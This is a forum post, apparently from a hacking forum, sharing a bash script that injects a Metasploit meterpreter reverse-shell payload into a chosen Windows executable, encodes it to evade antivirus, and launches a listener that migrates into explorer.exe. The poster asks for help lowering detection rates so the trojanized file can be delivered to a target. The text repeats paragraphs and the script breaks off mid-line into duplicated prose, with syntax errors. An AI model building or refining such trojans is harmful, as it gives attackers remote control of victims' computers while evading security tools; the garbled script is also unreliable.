[bash]Add metasploit payload to windows exe 10-07-2012, 06:45 PM
#1
Hi all I've been working on this on and off for the past few days and thought I would share with you have some ideas to improve it but struggling a little with the code so if any of you guys can help would be much appreciated 
Basically you enter in your server details or if you prefer input your network interface and let the script do the work, then point the script to your target .exe file and it injects the meterpreter payload, adds in a migrate 2 explorer post script, crypts it (not FUD, but have around 50% detect rate), and finally starts the meterpreter handler for you, all that's left is to get your executable onto the target machine.
Still want to get the detection rate down so if anyone knows of a crypter to suit this or can point me in the right direction to make my own would be grateful.
Also would like to add in the tab auto complete function to make it a bit more user friendly.
And finally I will add an option to change the post exploit script when I have time
NOTE: requires the metasploit framework and the following libraries
mingw32-runtime
mingw-w64
mingw
gcc-mingw32
mingw32-binutils

Basically you enter in your server details or if you prefer input your network interface and let the script do the work, then point the script to your target .exe file and it injects the meterpreter payload, adds in a migrate 2 explorer post script, crypts it (not FUD, but have around 50% detect rate), and finally starts the meterpreter handler for you, all that's left is to get your executable onto the target machine.
Code:
#!/bin/bash
# Make sure only root can run our script
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root" 1>&2
exit 1
fi
rm -rf ShellCode
#Gather variables
echo -e "Would you like to automatically set up LHOST: \c"
read auto_man
if [[ "$auto_man" == "n" ]]
while [[ "$IP == "" ]]
do
then echo -e "Enter LHOST: \c"
read IP
done
else
echo "Your availabe network devices"
cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'
interface=""
while [["interface" == ""]]
do
echo -e "What is your network interface: \c"
read interface
done
#get OS name
OS=`uname`
IO="" # store IP
case $OS in
Linux) IP=`ifconfig $interface | grep 'inet addr:' | grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`;;
*) IP="Unknown";;
esac
fi
echo -e "Which port would you like to listen on: \c"
read port
echo -e "Enter the full path to the windows exe: \c"
read input_file
echo -e "Enter the output filename, including the extension: \c"
read output_file
echo -e "How many times to encode: \c"
read enumber
echo " Using IP: " $IP
echo " Working, please wait. This could take a few minutes..."
#showtime :)
msfpayload windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R | msfencode -e x86/shikata_ga_nai -c $enumber -t exe -x $input_file -o $output_file
mkdir ShellCode
mv $output_file ShellCode
echo " Starting the meterpreter listener..."
sleep 2
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port AutoRunScript=' migrate2 explorer.exe' EStill want to get the detection rate down so if anyone knows of a crypter to suit this or can point me in the right direction to make my own would be grateful.
Also would like to add in the tab auto complete function to make it a bit more user friendly.
And finally I will add an option to change the post exploit script when I have time
NOTE: requires the metasploit framework and the following libraries
mingw32-runtime
mingw-w64
mingw
gcc-mingw32
mingw32-binutils


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)